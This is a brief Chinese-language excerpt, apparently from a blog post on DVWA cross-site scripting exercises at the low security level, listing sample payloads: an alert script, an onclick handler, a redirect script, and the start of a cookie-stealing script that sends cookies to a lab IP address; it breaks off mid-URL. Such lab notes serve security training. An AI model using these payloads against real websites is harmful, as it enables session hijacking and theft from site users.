DVWA-xss

低等级： <script>alert('XSS')</script> <a href='' οnclick=alert('xxx')>点击</a>   重定向 <script>window.location="http://www.baidu.com"</script>   获取cookie级： <script>new Image().src="http:/192.168.208.133/c.ph

>>阅读原文<<